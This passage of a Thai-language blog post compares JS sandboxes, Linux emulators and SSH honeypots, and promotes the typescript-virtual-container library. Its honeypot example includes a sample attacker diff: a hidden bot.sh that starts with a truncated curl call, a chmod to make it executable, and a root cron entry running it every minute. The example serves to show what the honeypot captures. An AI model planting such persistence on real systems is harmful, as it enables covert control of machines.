// SCP จริง: scp -P 2222 file root@localhost:/tmp/

shellProperties กำหนดสิ่งที่ uname -a, lsb_release -a, neofetch, /proc/version, และ /etc/os-release รายงาน คุณสามารถเลียนแบบลินุกซ์ดิสทริบิวชันและเวอร์ชันเคอร์เนลใดๆ ได้อย่างน่าเชื่อถือ -- สำหรับลูกค้า SSH จริง, ไม่มีวิธีที่จะบอกความแตกต่าง

โมดูล HoneyPot

เพราะอินเทอร์พรีเตอร์ shell เป็นจริงและเซิร์ฟเวอร์ SSH เป็นจริง, คำสั่งของผู้โจมตีจึงรันในสภาพแวดล้อมเสมือนจริงจริงๆ คำขอ wget ที่ถูกเรียกโดยผู้โจมตีถูกบันทึกพร้อม URL ปลายทาง ไฟล์ที่ผู้โจมตีสร้างถูกบันทึกใน VFS ความพยายามยกระดับสิทธิ์ของผู้โจมตีสร้างข้อผิดพลาดที่สมจริง

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// หลังจากเซสชัน, หาความแตกต่างของระบบไฟล์
const before = shell.vfs.toSnapshot();
// ... เซสชันของผู้โจมตี ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

นี่แตกต่างในเชิงคุณภาพจาก Cowrie ระบบไฟล์ปลอมของ Cowrie สามารถตอบสนองต่อ ls แต่ไม่สามารถติดตามไฟล์ที่ผู้โจมตีสร้างขึ้นและการเปลี่ยนแปลงที่พวกเขาทำเป็น diff ที่มีโครงสร้างได้ typescript-virtual-container ทำได้, เพราะ VFS คือโครงสร้างข้อมูลที่มีชีวิต -- ทุกการเขียนถูกติดตาม รายการ cron ที่ผู้โจมตีเพิ่ม? มันอยู่ใน diff โฟลเดอร์ .hidden นั้น? ใน diff มีประโยชน์มากสำหรับการวิเคราะห์มัลแวร์

สแต็กเครือข่ายเสมือน

นี่อาจเป็นส่วนที่น่าประทับใจที่สุดของทั้งโปรเจกต์, และมันไม่มีอะไรที่เทียบเท่าในโปรเจกต์อื่นในพื้นที่นี้ แบบ, สแต็กเครือข่ายเสมือน L2/L3 เต็มรูปแบบพร้อมรองรับ VPN, เขียนใน TypeScript บริสุทธิ์, โดยไม่มีการ์ดเครือข่ายจริงเกี่ยวข้อง มันบ้าจริงๆ

VirtualNetworkManager ให้แต่ละ instance VirtualShell มีอินเทอร์เฟซเครือข่ายเสมือนพร้อมที่อยู่ IP ที่กำหนดค่าได้, ตารางเส้นทาง, และไฟร์วอลล์ซอฟต์แวร์ (กฎสไตล์ iptables พร้อม conntrack และ NAT) ip addr, ip route, iptables -L, netstat -rn ทั้งหมดแสดงสถานะเครือข่ายเสมือน

VirtualSwitch (ชื่อ Baie -- จากภาษาฝรั่งเศสว่า "baie informatique" แปลว่าตู้เซิร์ฟเวอร์) เชื่อมต่อหลาย shells บนเครือข่ายย่อยที่ใช้ร่วมกัน มัน implement:

  • การเรียนรู้ MAC และ ARP
  • การจัดเส้นทาง IP ระหว่างเครือข่ายย่อย
  • NAT (masquerade ขาออก)
  • DNS (ระเบียนที่กำหนดค่าได้ต่อเครือข่ายย่อย)
  • การปรับสมดุลโหลด (round-robin, น้อยที่สุดในการเชื่อมต่อ)
  • การจัดรูปทรงการรับส่งข้อมูล: latency, jitter (การกระจายแบบ Gaussian), การสูญเสียแพ็กเก็ต, การสูญเสียแบบเป็นกลุ่ม, การจัดลำดับใหม่, การทำซ้ำ
  • การจำกัดแบนด์วิดท์ (token bucket)
  • การบังคับใช้ MTU
  • การติดตามการเชื่อมต่อ (มี state, สถานะ NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// สามเครื่องเสมือนบนสวิตช์เดียวกัน
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// ไฟร์วอลล์: web ถึง api ได้, api ถึง db ได้, web ถึง db โดยตรงไม่ได้
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// จัดรูปทรงการรับส่งข้อมูล: จำลองลิงก์ WAN ที่ไม่เสถียรไปยังภายนอก
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn สร้างอุโมงค์เข้ารหัสระหว่าง instances ของ Baie -- คุณสามารถจำลองเครือข่ายหลายไซต์พร้อมการเชื่อมต่อระหว่างกันผ่าน VPN

VirtualProxy implement การส่งต่อพอร์ตและพร็อกซี SOCKS5

ไม่มีอะไรเกี่ยวข้องกับการ์ดเครือข่ายจริง มันคือการจัดเส้นทางออบเจกต์ TypeScript ทั้งหมด คำสั่ง ping "ทำงาน" โดยการจัดเส้นทางผ่านสวิตช์เสมือนและคืนการตอบสนอง ICMP ที่จำลอง curl http://192.168.0.3/api จัดเส้นทางผ่านเครือข่ายเสมือน, ถึงการตอบสนอง HTTP ที่จำลองของ shell api, และคืนเนื้อหา มันเป็นเต่าตลอดทาง, ในความหมายที่ดีที่สุด

SandboxedShell

สำหรับการใช้งานเชิงโปรแกรมที่คุณต้องการการแยกที่แข็งแกร่งขึ้น, SandboxedShell รันเซสชัน shell ในเธรด Worker Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% ของหนึ่งคอร์
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

การแยกที่นี่มาจากเลเยอร์ VFS (shell ในเธรด worker สามารถมองเห็นเฉพาะระบบไฟล์เสมือน, ไม่เคยเห็นระบบไฟล์โฮสต์) บวกกับการแยกหน่วยความจำของเธรด Worker Node.js มันเบากว่า isolated-vm แต่เหมาะสมกว่าสำหรับการแยกระดับ shell มากกว่าระดับ JS

การจำกัดทรัพยากร

คุณสามารถกำหนดค่าขีดจำกัดทรัพยากรต่อ shell ที่ส่งผลต่อสิ่งที่คำสั่งตรวจสอบระบบรายงาน:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

ภายใน shell นี้, free -m แสดง RAM ทั้งหมด 512 MB nproc คืนค่า 2 /proc/meminfo แสดงค่าที่ถูกจำกัด htop และ top แสดงจำนวน CPU ที่ถูกจำกัด นี่ช่วยให้คุณกำหนดรอยเท้าฮาร์ดแวร์ของเครื่องที่จำลองได้อย่างแม่นยำ

สามโหมดการปรับใช้

โหมด 1: เซิร์ฟเวอร์ SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → โปรโตคอล SSH จริง, SFTP จริง, SCP จริง
  → กรณีการใช้งาน: honeypots, สภาพแวดล้อมการทดสอบระยะไกล, ห้องปฏิบัติการฝึกอบรม

โหมด 2: Shell เว็บ (เบราว์เซอร์)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM bundle)
  → รันในเบราว์เซอร์, VFS คงอยู่ใน IndexedDB
  → กรณีการใช้งาน: บทช่วยสอนโต้ตอบ, เทอร์มินัลฝังตัว, เดโม่
  → โบนัส: รัน startxfce4 สำหรับเดสก์ท็อป XFCE ที่จำลองเต็มรูปแบบ

โหมด 3: CLI แบบสแตนด์อโลน
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (ไฟล์เดียว, ไม่ต้องติดตั้ง)
  → curl และรัน, คงอยู่ VFS ในไดเรกทอรี .vfs/
  → กรณีการใช้งาน: เดโม่รวดเร็ว, การทดลองในเครื่อง

polyfills -- การ build สำหรับเบราว์เซอร์ทำงานอย่างไรโดยไม่มี Wasm

โอเค นี่คือส่วนที่ผมคิดว่าฉลาดจริงๆ และผมอยากเน้นเป็นพิเศษ

การทำให้ไลบรารี Node.js ทำงานในเบราว์เซอร์โดยทั่วไปเป็นฝันร้าย คุณใช้ Wasm runtime (หนัก, โหลดช้า) หรือคุณใช้เวลาหลายสัปดาห์แทนที่การ import node:* แต่ละรายการด้วยทางเลือกที่เข้ากับเบราว์เซอร์ Fortune ทำอย่างที่สอง -- แต่ทำอย่างสะอาดมาก โดยเขียนชุด polyfill ที่กำหนดเองซึ่งอยู่ในไดเรกทอรี polyfills/ ของพื้นที่เก็บข้อมูล

ไปป์ไลน์การ build เป็นเพียง esbuild พร้อมรายการ alias มากมาย:

// demo/build.js -- การกำหนดค่า build สำหรับเบราว์เซอร์ทั้งหมด
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

ไม่มี Wasm ไม่มีไลบรารี polyfill ภายนอก ไม่มีอะไรแบบ webpack-node-externals แค่โมดูลที่ถูก alias และ global ที่ถูก inject ไม่กี่ตัว ให้ผมลงรายละเอียดแต่ละอันเพราะบางอันน่าประทับใจจริงๆ

node:fs -- IndexedDB เป็นระบบไฟล์ปลอม

อันนี้คืออันที่ชอบที่สุด polyfill node:fs implement API fs ของ Node.js แบบซิงโครนัส (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) ที่รองรับโดยสองชั้น: Map ในหน่วยความจำสำหรับการอ่านแบบซิงค์, และ IndexedDB สำหรับความคงอยู่ระหว่างการโหลดหน้าเว็บ การเขียนไปที่ Map ทันที (ดังนั้น readFileSync หลังจาก writeFileSync จึงทำงานเสมอ), จากนั้น flush ไปยัง IndexedDB แบบอะซิงก์ในพื้นหลัง

// แคชแบบซิงค์ (เส้นทาง → Uint8Array | null) -- การอ่านทันที
const memCache = new Map();

// โหลดทุกอย่างจาก IndexedDB ลงใน memCache ตอนเริ่มต้น
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

นี่คือเหตุผลที่สแนปชอต VFS อยู่รอดการโหลดหน้าเว็บในเบราว์เซอร์ -- ไบนารี .vfsb ทั้งหมดถูกเขียนไปยัง IndexedDB ผ่าน polyfill นี้ และอ่านกลับในการโหลดครั้งถัดไป ไม่มี Wasm ไม่มีเซิร์ฟเวอร์ แค่ IndexedDB ซึ่งมีในทุกเบราว์เซอร์มาตั้งแต่ประมาณปี 2011

node:crypto -- SHA-256 ใน JS บริสุทธิ์

แทนที่จะ import ไลบรารี crypto Wasm, polyfill crypto implement SHA-256 จากศูนย์โดยใช้ค่าคงที่รอบ FIPS 180-4 166 บรรทัดของ JS บริสุทธิ์พร้อมรองรับเอาต์พุต hex/base64/Uint8Array อย่างสมบูรณ์ การแฮชทั้งหมดในไลบรารีผ่านมัน -- ลายนิ้วมือคีย์โฮสต์ SSH, เช็คซัมภายใน, ทุกอย่าง กะทัดรัด, ไม่มีการพึ่งพา, มันใช้งานได้

node:os -- อ่านฮาร์ดแวร์จริงของเบราว์เซอร์

อันนี้เป็นรายละเอียดที่ดี แทนที่จะคืนค่าสมมติแบบตายตัว, node:os อ่าน navigator.deviceMemory สำหรับ RAM ทั้งหมดและ navigator.hardwareConcurrency สำหรับจำนวน CPU ดังนั้น neofetch ในการ build สำหรับเบราว์เซอร์รายงานสิ่งที่ตรงกับเครื่องจริงของคุณ -- ไม่ใช่ stub ปลอม 2 cores, 2 GB RAM

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB โดยค่าเริ่มต้น
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // ยังวิเคราะห์ navigator.userAgent เพื่อเดาสตริงรุ่น CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- stubs ที่ซื่อสัตย์

เบราว์เซอร์ไม่สามารถเปิดซ็อกเก็ต TCP หรือรัน SSH จริง, ดังนั้นสิ่งเหล่านี้คือ stubs ที่โยน NotImplemented error พร้อมข้อความชัดเจนถ้ามีอะไรพยายามใช้มัน ไม่มีความล้มเหลวเงียบ, ไม่มีการคืน undefined ในที่ที่คาดหวังออบเจกต์ แค่ข้อความที่ดังและชัดเจน "มันไม่ทำงานในเบราว์เซอร์" -- ซึ่งคือสิ่งที่คุณต้องการ

process.js และ buffer.js -- global ที่ถูก inject

สองตัวนี้ถูก inject ที่ด้านบนของทุกไฟล์ใน bundle ผ่านตัวเลือก inject ของ esbuild, ดังนั้น process และ Buffer พร้อมใช้งานทั่วโลกโดยไม่ต้อง import ที่ชัดแจ้ง process.js มีขนาดเล็ก: env, version, platform: 'browser', nextTick ผ่าน queueMicrotask, uptime ผ่าน performance.now() buffer.js คือการ implement Buffer ใหม่ทั้งหมดบน Uint8Array -- ทุกเมธอด readUInt32BE, writeInt16LE, การเข้ารหัส hex/base64 ที่การ implement SSH และ VFS ขึ้นอยู่


ชุด polyfill ทั้งหมดประมาณ 640 บรรทัดของ JS ที่เขียนด้วยมือ ไม่มีแพ็กเกจ npm ไม่มี Wasm และผลลัพธ์คือ bundle เบราว์เซอร์ที่เป็นแค่ไลบรารี, รันแบบเนทีฟ, โดยไม่มีความกังวลแบบ "แต่มันทำงานในเบราว์เซอร์จริงหรือเปล่า" ที่คุณมีกับไลบรารีที่ออกแบบสำหรับ Node ก่อน มันคุ้มค่าที่จะดูไดเรกทอรี polyfills/ ในพื้นที่เก็บข้อมูลถ้าคุณอยากรู้ -- แต่ละไฟล์มีขอบเขตที่ดีและอ่านได้ด้วยตัวเอง ซึ่งเป็นทางเลือกสไตล์ที่ผมชอบมาก

| | vm | isolated-vm | quickjs-emscripten | v86 | CheerpX | WebContainers | Cowrie | typescript-virtual-container | |---|---|---|---|---|---|---|---|---|---| | หมวดหมู่ | JS Sandbox | JS Sandbox | JS Sandbox | เอมิวเลเตอร์ | เอมิวเลเตอร์ | Node.js/Wasm | Honeypot | ซีมิวเลเตอร์ | | แยก JS | ⚠️ ขอบเขต | ✅ V8 Isolate | ✅ Wasm | n/a | n/a | บางส่วน | n/a | ✅ Worker | | เคอร์เนล Linux จริง | ❌ | ❌ | ❌ | ✅ | ✅ | ❌ | ❌ | ❌ | | อินเทอร์พรีเตอร์ shell | ❌ | ❌ | ❌ | ✅ (จริง) | ✅ (จริง) | ✅ (จริง) | บางส่วน | ✅ (กำหนดเอง) | | ~170 คำสั่ง Unix | ❌ | ❌ | ❌ | ✅ | ✅ | บางส่วน | ~20 | ✅ | | สิทธิ์ POSIX | ❌ | ❌ | ❌ | ✅ | ✅ | ✅ | บางส่วน | ✅ บังคับใช้ | | จัดการผู้ใช้ | ❌ | ❌ | ❌ | ✅ | ✅ | ❌ | น้อยที่สุด | ✅ สมบูรณ์ | | เซิร์ฟเวอร์ SSH จริง | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | ✅ | | SFTP / SCP | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | | Honeypot/ตรวจสอบ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | ✅ | | Diff/สแนปชอต VFS | ❌ | ❌ | ❌ | จำกัด | ❌ | ❌ | ❌ | ✅ | | เครือข่ายเสมือน L2/L3 | ❌ | ❌ | ❌ | พื้นฐาน | ❌ | ❌ | ❌ | ✅ สมบูรณ์ | | VPN เสมือน | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | | รองรับเบราว์เซอร์ | ❌ | ❌ | ✅ | ✅ | ✅ | ✅ | ❌ | ✅ | | Node.js เนทีฟ | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | ❌ | ✅ | | API มีชนิด | พื้นฐาน | ✅ | ✅ | น้อยที่สุด | ❌ | ✅ | ❌ | ✅ สมบูรณ์ | | ความเข้ากันได้ไบนารี | n/a | n/a | n/a | ✅ | ✅ | บางส่วน | n/a | ❌ | | เวลาเริ่มต้น | ทันที | ทันที | ทันที | 15-40s | 15-40s | 2-5s | ทันที | <1s | | RAM/instance | ~1 MB | ~3-10 MB | ~5-15 MB | 150-256 MB | 200+ MB | ~100 MB | ~50 MB | ~5-20 MB | | การพึ่งพา runtime | 0 | 1 (native) | 1 (Wasm) | 0 | กรรมสิทธิ์ | 1 | การพึ่งพา Python | 3 (ssh2, ws, fflate) | | สถานะ | เสถียร | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ | ✅ ใช้งานมาก | เชิงพาณิชย์ | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ |


เมื่อไหร่ควรใช้อะไร

คุณต้องรัน JavaScript ที่ไม่น่าเชื่อถือ -- สูตรที่ผู้ใช้ส่งมา, ปลั๊กอิน, hook ของสคริปต์ → isolated-vm. V8 Isolate จริง, ขีดจำกัดหน่วยความจำเข้มงวด, สะพานสื่อสารที่ชัดแจ้ง หลีกเลี่ยง vm2 -- รายการ CVE ยาวขึ้นเรื่อยๆ, จริงๆ นะมันเหมือนมีใหม่ทุกสองสามเดือน หลีกเลี่ยง vm -- มันไม่ใช่ sandbox เลย, ได้โปรด

คุณต้องแยก JS และคุณไม่ต้องการ extension เนทีฟ, หรือคุณต้องการความเข้ากันได้กับเบราว์เซอร์ → quickjs-emscripten. ขอบเขต Wasm, โมดูลประมาณ 500 KB, ทำงานในเบราว์เซอร์และ Node ช้ากว่า V8 แต่แยกได้จริง

คุณต้องบูต OS Linux จริงที่ไม่ถูกแก้ไขพร้อมความเข้ากันได้ไบนารี → v86 สำหรับ Linux 32-bit, หรือ container2wasm ถ้าคุณมีอิมเมจ Docker อยู่แล้ว ยอมรับ RAM 150 MB+ และเวลาเริ่มต้น 30 วินาที, นั่นคือดีล ถ้าคุณต้องการ 64-bit, ดู CheerpX หรือใช้ runtime คอนเทนเนอร์จริง

คุณต้องฝังเทอร์มินัลแบบ Linux ในแอปพลิเคชันเว็บโดยไม่มี backend → v86 (OS เต็ม, หนัก, เริ่มต้นช้า) หรือ bundle เบราว์เซอร์ของ typescript-virtual-container (ซีมิวเลเตอร์, เบากว่า, เริ่มต้นทันที, รวม startxfce4 สำหรับเดสก์ท็อปเต็มซึ่งค่อนข้างเจ๋ง)

คุณต้องการบทช่วยสอนการเขียนโค้ดโต้ตอบออนไลน์หรือ IDE ในเบราว์เซอร์ → WebContainers ถ้าคุณเน้นที่ระบบนิเวศ Node.js CheerpX ถ้าคุณต้องการ userspace Linux จริง bundle เบราว์เซอร์ของ typescript-virtual-container ถ้าคุณต้องการตัวเลือกที่เบากว่าพร้อม API มีชนิด

คุณต้องการรวบรวม TTP ของผู้โจมตี SSH ในวงกว้าง → Cowrie คือมาตรฐานโปรดักชัน, จบ รันบนเซิร์ฟเวอร์ Linux ใดก็ได้, ทำงานร่วมกับ SIEM ทั้งหมด, มีโหมด LLM แล้ว ใช้ Cowrie เถอะ

คุณต้องการข้อมูล honeypot SSH ในแอปพลิเคชัน Node.js พร้อม API ที่ตั้งโปรแกรมได้ → typescript-virtual-container. คำสั่งรันจริงๆ VFS คือโครงสร้างข้อมูลจริงที่คุณสามารถจับภาพและหาความแตกต่างได้ทันที ผู้โจมตีได้รับสภาพแวดล้อมโต้ตอบที่น่าเชื่อถือ และคุณได้รับข้อมูลตรวจสอบที่มีโครงสร้างโดยไม่ออกจาก Node

คุณต้องการระบบอัตโนมัติ shell / การทดสอบใน CI โดยไม่มี Docker → typescript-virtual-container. เริ่มต้นในเวลาน้อยกว่าหนึ่งวินาที, สแนปชอตก่อนการทดสอบ, กู้คืนหลังจากนั้น รันคำสั่ง shell ด้วย API มีชนิด ไม่มี daemon Docker, ไม่มีเคอร์เนล, ไม่มี VM, ไม่ต้องรอ

คุณต้องการสภาพแวดล้อม shell แบบหลายผู้เช่า (SaaS, การศึกษา, การฝึกอบรม) → typescript-virtual-container. 5-20 MB ต่อ instance เทียบกับ 150-256 MB สำหรับเอมิวเลเตอร์ ผู้ใช้พร้อมกัน 100 คน: ~2 GB เทียบกับ ~25 GB นั่นคือความแตกต่างใหญ่ในค่าใช้จ่ายโฮสติ้ง!

คุณต้องการ honeypot ที่สมจริงที่ช่วยให้คุณสร้างห้องปฏิบัติการเครือข่ายหลาย VM ได้ด้วย → typescript-virtual-container เป็นสิ่งเดียวในพื้นที่นี้ที่ทำทั้งสองอย่าง


สิ่งที่มันทำไม่ได้ (และผมอยากซื่อสัตย์เกี่ยวกับเรื่องนี้)

มันไม่สามารถรันไบนารี x86 เนทีฟได้ ถ้าคุณต้องคอมไพล์โค้ด C, รันอินเทอร์พรีเตอร์ Python จริง, หรือใช้ซอฟต์แวร์ที่คอมไพล์สำหรับ Linux, ไม่มี ABI เคอร์เนลเพื่อรองรับ system calls เหล่านั้น คำสั่งอย่าง gcc, python3, และ node เป็น stubs -- พวกมันตอบสนองต่อ --version และการเรียกทั่วไป, แต่ไม่รันอะไรจริง

นี่คือการแลกเปลี่ยนพื้นฐาน: คุณประหยัดหน่วยความจำ 10-50 เท่า, เริ่มต้นทันที, ความเข้ากันได้เบราว์เซอร์, API มีชนิด, SSH จริง, และเครือข่ายเสมือน -- และคุณละทิ้งความเข้ากันได้ไบนารีกับ userspace Linux

Fortune คิดมากเกี่ยวกับเรื่องนี้ในการออกแบบโปรเจกต์ สำหรับกรณีการใช้งานที่เธอตั้งเป้า -- honeypots, การทดสอบ, เทอร์มินัลฝังตัว, สภาพแวดล้อม CI -- การรันไบนารีที่คอมไพล์แล้วไม่จำเป็นจริงๆ เส้นทาง shell, การจัดการไฟล์, การจัดเส้นทางเครือข่าย และ SSH ครอบคลุมทุกอย่าง แต่ถ้ากรณีการใช้งานของคุณต้องการซอฟต์แวร์ที่คอมไพล์แล้วจริง, v86 หรือ Docker คือคำตอบที่ถูกต้อง ไม่ใช่นี้


สรุป

เอาล่ะ นี่คือสิ่งที่เราได้ ระบบนิเวศนี้กว้างและกระจัดกระจายมากกว่าที่เห็นจากภายนอก vm คือตัวแยกขอบเขต, ไม่ใช่ sandbox vm2 ยังคงสะสม CVE (จริงๆ นะ, ดู advisory เดือนนี้สิ) isolated-vm คือคำตอบที่ถูกต้องสำหรับการแยก JS แต่ JS เท่านั้น quickjs-emscripten คือตัวเลือกที่ถูกต้องเมื่อคุณต้องการความเข้ากันได้เบราว์เซอร์หรือต้องการหลีกเลี่ยง extension เนทีฟ v86 และ CheerpX คือเอมิวเลเตอร์จริงเมื่อคุณต้องการความเข้ากันได้ไบนารีจริง WebContainers คือ Node.js ใน Wasm, ไม่ใช่สภาพแวดล้อม Linux ทั่วไป Cowrie คือมาตรฐานทองคำของ honeypot SSH, แต่มันคือ Python และไม่ใช่ Node เนทีฟ

แล้วก็มี typescript-virtual-container -- โปรเจกต์ของ Fortune -- ที่อยู่ในหมวดหมู่ของตัวเอง ไม่ใช่เอมิวเลเตอร์, ไม่ใช่ JS sandbox, ไม่ใช่ honeypot แบบพาสซีฟ บางสิ่งที่อยู่ระหว่างทั้งหมดที่กลายเป็นว่ามีประโยชน์อย่างน่าประหลาดใจสำหรับหลายสิ่งที่ตัวอื่นทำไม่ได้

typescript-virtual-container เชื่อมช่องว่างที่ไม่มีตัวอื่นแตะ: สภาพแวดล้อม shell Linux ที่สมบูรณ์และตั้งโปรแกรมได้พร้อม SSH จริง, SFTP, สิทธิ์ POSIX, การจัดการผู้ใช้, เครือข่ายเสมือน, และ API TypeScript ที่มีการกำหนดชนิด -- รันในประมาณ 10 MB, เริ่มต้นในเวลาน้อยกว่าหนึ่งวินาที, ทำงานทั้งใน Node.js และเบราว์เซอร์

ถ้าคุณอยากลอง: ซอร์สโค้ดอยู่ที่ github.com/itsrealfortune/typescript-virtual-container และมีเดโมออนไลน์ (รวมถึง startxfce4 สำหรับเดสก์ท็อปเต็ม ซึ่งโคตรเจ๋ง) ที่ itsrealfortune.fr/typescript-virtual-container/demo ไปดูและฝากดาวให้ Fortune บน GitHub เธอสมควรได้รับมัน!

ขอบคุณที่อ่าน -- อันนี้ยาวแม้ตามมาตรฐานของผม :) หวังว่ามันจะเป็นประโยชน์กับคุณ!


แหล่งอ้างอิง

ผมพยายามเชื่อมโยงทุกข้อความกับแหล่งข้อมูลหลัก -- รายงาน CVE, เอกสารทางการ, พื้นที่เก็บข้อมูล GitHub, โพสต์บล็อกจากผู้ดูแล หมายเหตุบางประการ: รายการ CVE ของ vm2 ยังคงยาวขึ้น ดังนั้นลิงก์ FortiGuard อาจล้าสมัยเมื่อคุณอ่านนี้ (ดูหน้า advisories GitHub สำหรับล่าสุด) ลิงก์ Bellard ทั้งหมดเสถียร -- เว็บไซต์ส่วนตัวของเขาอยู่มานานและเนื้อหาไม่เปลี่ยนแปลง และถ้าคุณต้องการเจาะลึก polyfill ใดๆ, เพียงแค่อ่านไดเรกทอรี polyfills/ ในพื้นที่เก็บข้อมูล typescript-virtual-container โดยตรง -- มันอ่านง่ายกว่าคำอธิบายใดๆ ที่ผมเขียนได้

JavaScript Sandbox

เอมิวเลเตอร์ Linux

Stack Terminal

Honeypots

typescript-virtual-container

การอ่านเพิ่มเติม

Related Articles